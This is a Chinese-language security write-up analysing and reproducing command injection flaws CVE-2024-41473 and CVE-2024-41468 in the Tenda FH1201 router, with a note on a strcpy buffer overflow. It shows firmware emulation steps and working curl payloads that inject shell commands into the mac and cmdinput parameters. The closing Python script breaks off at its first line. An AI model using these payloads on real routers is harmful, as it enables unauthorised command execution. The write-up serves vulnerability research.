Tenda-FH1201多处命令注入漏洞分析和复现
Tenda-FH1201多处命令注入漏洞分析和复现
前言
腾达(Tenda)是中国的一家网络设备制造商,专注于生产各种网络相关设备,包括路由器、交换机、无线适配器和网络摄像头等。腾达的 FH 系列路由器是其家庭和小型办公网络解决方案中的一种,主要特点是性价比高,易于设置和使用。
环境搭建
固件下载
enda官网提供固件下载[1]:
1 | 固件版本: FH1201 Firmware V1.2.0.14 |
binwalk
解压固件:
1 | $ binwalk -Me US_FH1201V1.0BR_V1.2.0.14\(408\)_EN_TD.bin |
查看 bin/busybox
得知是 32位mips架构(小端):
1 | $ file squashfs-root/bin/busybox |
FirmAE模拟
参考的这位师傅是使用的qemu模拟,我实测FirmAE也可以,并且更加方便
先使用 QEMU用户级调试启动,看看会不会遇到问题。安装 qemu-user-static
:
1 | $ sudo apt install qemu-user-static # debian,ubuntu |
安装完成后将 qemu-mipsel-static
赋值到文件系统目录 squashfs-root
下,启动 httpd
服务:
1 | $ cd squashfs-root/ |
发现一直卡在welcom to,于是去文件看一下为什么
发现主要是check_network这个函数的问题,会无限sleep,否则的话应该会是报错的,于是我们尝试把他patch一下,或者自己写个ld去劫持掉check_network也可以
汇编代码如下:
patch完成后汇编代码如下
patch完成后使用firmware-mod-kit打包该程序,./fmk是用该程序解包的结果
然后直接使用FirmAE对该固件进行模拟即可
1 | sudo ./run.sh -c tenda /path/firename |
进入之后启动/bin/httpd即可,当然默认是启动的,但是为了方便查看效果还是自己启动一个
CVE-2024-41473
漏洞位于 WriteFacMac
函数中:
websGetVar(a1, "mac", "00:01:02:11:22:33")
代码从 HTTP 请求中获取名为 mac
的参数。如果参数不存在,则使用默认值 "00:01:02:11:22:33"
。
doSystemCmd("cfm mac %s", Var)
代码使用格式化字符串 cfm mac %s
和变量 Var
生成命令,然后调用 doSystemCmd
函数执行生成的命令。
doSystemCmd
函数看起来是一个执行系统命令的函数,并且通过格式化字符串将 Var
直接插入命令中。如果 Var
中包含恶意用户输入,可能会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意 mac
参数
1 | mac=00:01:02:11:22:33; ifconfig / |
这种情况下生成的命令将会导致命令执行:
1 | cfm mac 00:01:02:11:22:33; ifconfig / |
漏洞复现
1 | curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "mac=;ls" "http://192.168.0.1:81/goform/WriteFacMac" |
CVE-2024-41468
漏洞位于 exeCommand
函数中:
src = (char *)websGetVar(a1, "cmdinput", &unk_4AFDC0)
代码从HTTP请求中获取名为 cmdinput
的参数,存储在 src
中。如果参数不存在,使用默认值 &unk_4AFDC0
。
strcpy(v7, src)
代码将获取到的 cmdinput
参数值复制到缓冲区 v7
中。没有对输入进行验证或清理。
由于 doSystemCmd
函数直接使用 v7
中的值作为命令执行,且 v7
是从用户输入中获取的,这会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意 cmdinput
参数
1 | cmdinput=ls; ifconfig |
这种情况下生成的命令将会导致命令执行:
1 | ls; ifconfig |
漏洞复现
1 | curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "cmdinput=ifconfig;" "http://192.168.0.1:81/goform/exeCommand" |
此外,大家注意char v7[512];
char v8[256];
char v9[4096];
char v10[4096];
声明了一些固定大小的缓冲区。
strcpy(v7, src);
使用 strcpy
将用户输入复制到 v7
,但 strcpy
不会检查目标缓冲区的大小。如果 src
超过 512 字节,导致导致缓冲区溢出,程序崩溃。
1 | import requests |